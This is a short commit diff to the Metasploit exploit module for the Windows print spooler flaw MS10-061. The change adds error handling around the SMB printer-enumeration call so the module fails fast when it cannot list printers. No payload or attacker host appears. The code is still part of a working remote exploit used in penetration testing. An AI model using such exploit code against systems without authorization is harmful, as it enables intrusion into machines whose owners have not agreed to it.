do not wait for WfsDelay if unable to enum printers

git-svn-id: file:///home/svn/framework3/trunk@10553 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/smb/ms10_061_spoolss.rb

@@ -95,6 +95,7 @@ class Metasploit3 < Msf::Exploit::Remote
 		if (pname = datastore['PNAME'])
 			printers << pname
 		else
+			begin
 				res = self.simple.client.trans(
 					"\\PIPE\\LANMAN",
 					(
@@ -104,6 +105,9 @@ class Metasploit3 < Msf::Exploit::Remote
 						[0x01, 65406].pack("vv")
 					)
 				)
+			rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
+				raise RuntimeError, e.message
+			end
 
 			printers = []